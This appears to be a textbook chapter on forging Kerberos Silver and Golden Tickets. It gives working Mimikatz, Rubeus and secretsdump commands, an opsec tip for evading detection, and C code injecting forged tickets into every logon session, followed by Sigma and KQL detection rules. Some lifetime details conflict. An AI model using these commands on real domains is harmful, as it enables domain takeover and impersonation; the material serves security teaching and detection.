Silver Tickets and Golden Tickets
Silver and Golden Tickets are forged Kerberos tickets that bypass the KDC entirely — the attacker constructs and signs a ticket using a stolen service key (silver) or the domain's krbtgt key (golden), then injects it directly into a logon session. The KDC never sees the request. This chapter covers the cryptographic structure of both ticket types, what keys are required, how to forge tickets in C using the Windows Kerberos API, and what detection is actually possible when the KDC is bypassed.
After DCSync (Chapter 129), you have the krbtgt AES256 key and the NT hash for every service account. You forge a Golden Ticket as a non-existent user (SuperAdmin) with Domain Admin group membership, valid for 10 years, and inject it. You can now access any resource in the domain as a Domain Admin without the real account existing — and without making any further requests to the KDC. You also forge a Silver Ticket for the CIFS/fileserver01 SPN using the machine account hash — this one never touches the DC at all, even for ticket validation.
Kerberos Ticket Anatomy
Silver Ticket — Construction Requirements
| Required Info | How to Get It | What It Enables |
|---|---|---|
| Service account NT hash or AES256 | LSASS dump, secretsdump, Kerberoast crack | Encrypt service ticket enc-part |
| Domain SID | whoami /all, Get-ADDomain, LDAP | Build PAC SID structure |
| Target hostname | DNS, LDAP enumeration | SPN in sname field |
| Service type | Known (cifs, http, mssql, host) | SPN prefix |
| Target username | Any string — doesn't have to exist | cname in ticket |
# Mimikatz silver ticket (reference — we build the equivalent in C below):
kerberos::golden /user:FakeAdmin /domain:corp.local \
/sid:S-1-5-21-1234567890-1234567890-1234567890 \
/target:fileserver01.corp.local \
/service:cifs \
/rc4:<service_account_nt_hash> \
/ptt # inject into current session
# Rubeus silver ticket:
Rubeus.exe silver /service:cifs/fileserver01.corp.local \
/rc4:<NT_hash> \
/user:FakeAdmin /domain:corp.local \
/sid:S-1-5-21-... \
/ptt
Golden Ticket — Construction
# Golden ticket requirements: krbtgt NT hash or AES256 key
# Obtained via DCSync (Chapter 129):
# secretsdump.py -just-dc-user krbtgt corp/DA:password@dc01
# Mimikatz golden ticket:
kerberos::golden /user:FakeAdmin /domain:corp.local \
/sid:S-1-5-21-1234567890-1234567890-1234567890 \
/krbtgt:<krbtgt_NT_hash> \
/id:500 \ # RID — 500 = Administrator
/groups:512 \ # group RIDs: 512=Domain Admins, 519=Enterprise Admins
/endin:8760 \ # valid for 1 year (hours)
/renewmax:52560 \ # renewable for 6 years
/ptt
# AES256 golden ticket (better opsec — avoids RC4 downgrade detection):
kerberos::golden /user:FakeAdmin /domain:corp.local \
/sid:S-1-5-21-... \
/aes256:<krbtgt_aes256_key> \
/ptt
# Rubeus:
Rubeus.exe golden /rc4:<krbtgt_hash> /user:FakeAdmin \
/id:500 /domain:corp.local /sid:S-1-5-21-... /ptt
Diamond and Sapphire Tickets
Ticket Injection in C (LsaCallAuthPackage)
// The actual ticket forgery (ASN.1 encoding + encryption) is done by tools like
// Mimikatz or Rubeus in .NET. Here we show the injection half in C —
// identical to Pass-the-Ticket from Chapter 146.
// The forged ticket bytes are produced externally and passed in.
BOOL InjectForgedTicket(const BYTE* ticketBytes, DWORD ticketLen,
BOOL injectIntoAllSessions) {
HANDLE hLsa;
LsaConnectUntrusted(&hLsa);
LSA_STRING authPkgName; ULONG authPkg;
RtlInitString(&authPkgName, MICROSOFT_KERBEROS_NAME_A);
LsaLookupAuthenticationPackage(hLsa, &authPkgName, &authPkg);
ULONG reqSize = sizeof(KERB_SUBMIT_TKT_REQUEST) + ticketLen;
KERB_SUBMIT_TKT_REQUEST* req = (KERB_SUBMIT_TKT_REQUEST*)
HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, reqSize);
req->MessageType = KerbSubmitTicketMessage;
req->KerbCredSize = ticketLen;
req->KerbCredOffset = sizeof(KERB_SUBMIT_TKT_REQUEST);
memcpy((BYTE*)req + req->KerbCredOffset, ticketBytes, ticketLen);
if (injectIntoAllSessions) {
// Requires SeImpersonatePrivilege — enumerate all logon sessions and inject
// into each one, so the ticket is available regardless of which LUID is used
ULONG count; PLUID sessions;
LsaEnumerateLogonSessions(&count, &sessions);
for (ULONG i = 0; i < count; i++) {
req->LogonId = sessions[i];
NTSTATUS sub; void* resp; ULONG len;
LsaCallAuthenticationPackage(hLsa, authPkg,
req, reqSize, &resp, &len, &sub);
if (resp) LsaFreeReturnBuffer(resp);
}
LsaFreeReturnBuffer(sessions);
} else {
// Inject into current session only (LogonId = {0,0})
NTSTATUS sub; void* resp; ULONG len;
LsaCallAuthenticationPackage(hLsa, authPkg,
req, reqSize, &resp, &len, &sub);
if (resp) LsaFreeReturnBuffer(resp);
}
HeapFree(GetProcessHeap(), 0, req);
LsaDeregisterLogonProcess(hLsa);
printf("[+] Forged ticket injected\n");
return TRUE;
}
Detection Engineering
-- Golden Ticket detection challenges:
-- No AS-REQ logged for the forged user: user FakeAdmin never sent a TGS-REQ before TGT use
-- Event 4769 appears for TGS requests using the golden ticket — but no preceding 4768 for that user
-- Silver Ticket: completely bypasses the KDC — ZERO events on the DC
-- Only the target host can detect it: PAC validation (if enabled)
title: Golden Ticket Indicator — Kerberos TGS Without Preceding AS-REQ
logsource:
product: windows
service: security
detection:
selection_tgs:
EventID: 4769
Status: '0x0'
filter_has_tgt:
EventID: 4768 # TGT must precede TGS for the same account
timeframe: 20m
condition: selection_tgs AND NOT filter_has_tgt
level: high
tags: [attack.credential_access, T1558.001]
title: Golden Ticket — Ticket Lifetime Exceeds Domain Policy
logsource:
product: windows
service: security
detection:
selection:
EventID: 4769
TicketOptions|contains: '0x40810010' # FORWARDABLE|RENEWABLE|CANONICALIZE|RENEWABLE_OK
condition: selection
level: low # tune with lifetime check from ticket fields
-- MDE KQL: anomalous Kerberos ticket lifetime (golden ticket often 10y)
DeviceEvents
| where ActionType == "KerberosServiceTicketRequest"
| extend Fields = todynamic(AdditionalFields)
| where datetime_diff('hour',
todatetime(Fields.TicketEndTime),
todatetime(Fields.TicketStartTime)) > 20
| project Timestamp, DeviceName, Fields.AccountName,
Fields.TicketStartTime, Fields.TicketEndTime,
Fields.ServiceName
Q&A
What is the most reliable way to detect a Golden Ticket after it has been injected and is actively in use?
The most reliable detection signal for Golden Ticket abuse is the absence of a matching TGT request (Event 4768) for the account that subsequently makes service ticket requests (Event 4769). A legitimate Kerberos workflow always begins with an AS-REQ (4768) before service tickets can be requested. A Golden Ticket skips the AS-REQ entirely — the forged TGT is injected directly into memory. Correlation logic: if Event 4769 from a username has no Event 4768 for the same account within the past 10 hours (the default TGT lifetime), it warrants investigation.
Additional signals: (1) Impossible ticket lifetime: Golden Tickets are commonly forged with lifetimes of 10 years. Event 4769 or DC logs may show ticket expiry times far beyond the domain's MaxTicketAge policy. (2) Non-existent account: if the account name in the ticket doesn't match any account in AD, the 4769 event shows a username not found by any LDAP query. (3) PAC validation: if ValidateKdcPacSignature is enabled on all service hosts (registry key under HKLM\SYSTEM\CurrentControlSet\Services\Kdc), the service will contact the KDC to validate the PAC for every service ticket. A silver or golden ticket with a forged PAC will fail this validation. This is rarely deployed because it adds KDC load and breaks some edge cases. (4) AES vs RC4 inconsistency: if an account's Kerberos policy requires AES but the injected ticket uses RC4, the mismatch may be detectable. The practical defensive posture is DC-side: enable full Kerberos logging (Audit Kerberos Authentication Service and Audit Kerberos Service Ticket Operations), ship those logs to a SIEM, and implement the correlation rule for 4769 without preceding 4768. The hardest scenario — Diamond Tickets — generates a real 4768 and forges only the PAC, making correlation-based detection insufficient; these require behavioral anomaly detection on the account's post-ticket activity.